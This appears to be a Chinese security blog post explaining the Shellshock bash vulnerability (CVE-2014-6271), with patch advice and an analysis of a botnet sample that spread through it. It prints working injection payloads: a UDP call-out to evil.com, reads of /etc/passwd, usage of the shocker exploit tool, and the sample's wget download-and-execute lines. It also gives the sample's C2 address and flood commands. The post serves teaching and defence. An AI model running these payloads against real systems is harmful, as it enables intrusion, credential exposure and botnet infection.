注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言

描述:Shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞,所以无法很好地利用。随着研究的深入研究发现其实它可以进行远程CGI漏洞利用,Bash漏洞其实是非常经典的“注入式攻击”也就是可以向 bash注入一段命令,从bash1.14到4.3都存在这样的漏洞;

  • 漏洞编号:CVE-2014-6271
  • 详细情况:Bash(GNU Bourne-Again Shell)是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口.
    Bash其广泛的使用将意味全球至少 150 万的主机将受到影响,此外 Linux/Unix 世界内的安卓和苹果都难以幸免。
    破壳漏洞(ShellShock)的严重性被定义为 10 级(最高),而今年 4 月爆发的 OpenSSL(心脏出血)漏洞才 5 级!

  • 漏洞原理:
    Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
    受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

  • 受影响的版本:

    WeiyiGeek.

    WeiyiGeek.


0x01 测试和利用

1.判断方法

1
2
3
4
5
#方法1
env x='() { :;}; echo Shellshock' bash -c "exit"

#方法2
() { :;}; echo 1 > /dev/udp/evil.com/53 #如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包

WeiyiGeek.

WeiyiGeek.


2.补丁更新后仍然可以绕过

1
env -i X=';() { (a)=>\' bash -c 'echo `date`'; cat /etc/hosts

WeiyiGeek.

WeiyiGeek.


3.利用Wget进行测试,Wget, Shellshock 和 John the Ripper(解密)

1
wget -U "() [ test;];echo \"Content-type: text/plain\";echo; echo;/bin/cat /etc/passwd" url


4.Shellshock 利用工具
描述:一个发现并利用服务器 Shellshock 的工具,项目地址: https://github.com/nccgroup/shocker

1
2
3
4
5
6
7
8
9
10
11
12
#Help Text
usage: shocker.py [Options]
-h, --help show this help message and exit
--Host HOST, -H HOST A target hostname or IP address
--file FILE, -f FILE File containing a list of targets
--port PORT, -p PORT The target port number (default=80)
--exploit EXPLOIT, -e EXPLOIT Command to execute (default=/bin/uname -a)
--cgi CGI, -c CGI Single CGI to check (e.g. /cgi-bin/test.cgi)
--proxy PROXY A BIT BROKEN RIGHT NOW Proxy to be used in the form 'ip:port'
--ssl, -s Use SSL (default=False)
--threads THREADS, -t THREADS Maximum number of threads (default=10, max=100)
--verbose, -v Be verbose in output

测试案例

1
2
3
4
5
6
7
8
9
10
# Scans for http://127.0.0.1/cgi-bin/test.cgi and, if found, attempts to cat /etc/passwd
python shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose


# Scan www.example.com on port 8001 using SSL for all scripts in cgi_list and attempts the default exploit for any found
python shocker.py -H www.example.com -p 8001 -s


# Scans all hosts listed in the file ./hostlist with the default options
python shocker.py -f ./hostlist

WeiyiGeek.

WeiyiGeek.

修复方案:

  • (1).针对RedHat、CentOS Liunx发行版本,请执行:
    • yum -y update bash
  • (2).针对Debian Liunx发行版本,请执行:
    • sudo apt-get update && sudo apt-get install –only-upgrade bash

0x02 传播样本详细分析

1.样本传播方式
该样本利用Bash漏洞进行传播,其漏洞的利用只需要简单的几行命令即可,这无疑为利用者带来了极大的便利,利用代码如下:

1
2
3
#而该样本通过wget将样本下载并执行命令如下:
(){:;}; /usr/bin/wget xxxx/shell1 -O /tmp/shell| /bin/chomd 777 /tmp/shell | /tmp/shell
Cookie, ().{.:;.};.wget /tmp/besh http://X.X.X.X/nginx; chmod.777 /tmp/besh; /tmp/besh;

WeiyiGeek.

WeiyiGeek.

2.样本行为分析
(1).获取计算机相关信息
该样本启动后首先会获取计算机的相关信息,如CPU,网络配置等信息

WeiyiGeek.

WeiyiGeek.

(2).接着该样本连接自己的服务器(89.238.150.154:5),strace附加在创建的子进程样本上监视其行为如下

WeiyiGeek.

WeiyiGeek.

(3).如果连接服务器成功,则根据服务器传来的指令,远程控制被感染机器,命令集合如下:

1
2
3
4
5
6
7
8
9
PING 
GETLOCALIP
SCANNER
HOLD (DoS Flood)
JUNK (DoS Flood)
UDP (DoS Flood)
TCP (DoS Flood)
KILLATTK
LOLNOGTFO

WeiyiGeek.

WeiyiGeek.

DVR Scanner主要测试目标是否存在DVR漏洞,如果存在则尝试通过像”root”,”12345”这样的弱口令进行进行连接,如果连接成功则执行ps尝试寻找”cmd.so”进程,该进程主要是莱特币矿工相关.

一些指令解释

  • ●HOLD (Dos Flood) 对目标服务器进行Hold洪水攻击,通过接受服务器数据包,来指明需要攻击的秒数,并将攻击时间返回给服务器
  • ●JUNK (DoS Flood) 对目标服务器进行JUNK洪水攻击
  • ●UDP (DoS Flood) 对目标服务器进行UDP洪水攻击
  • ●TCP (DoS Flood) 对目标服务器进行TCP洪水攻击
  • ●KILLATTK 通过接受服务器发来的进程列表,通过kill系统调用杀掉指定的进程
  • ●LOLNOGTFO 非法服务器数据包指令

补充:

  • 漏洞爆发之后,我们在后台对全国范围内的相关网站进行了一次统计,我们发现了某公司的NAS设备管理页面存在cgi漏洞,而通过查看网站页面,发现设备是类似“TS-119P”, 设备名都是TS-XX的。
  • 备注:NAS是一种网络存储设备,现在的很多路由器也支持此功能,如果此设备有漏洞,那么里面的资源都会有被盗的风险。

参考来源: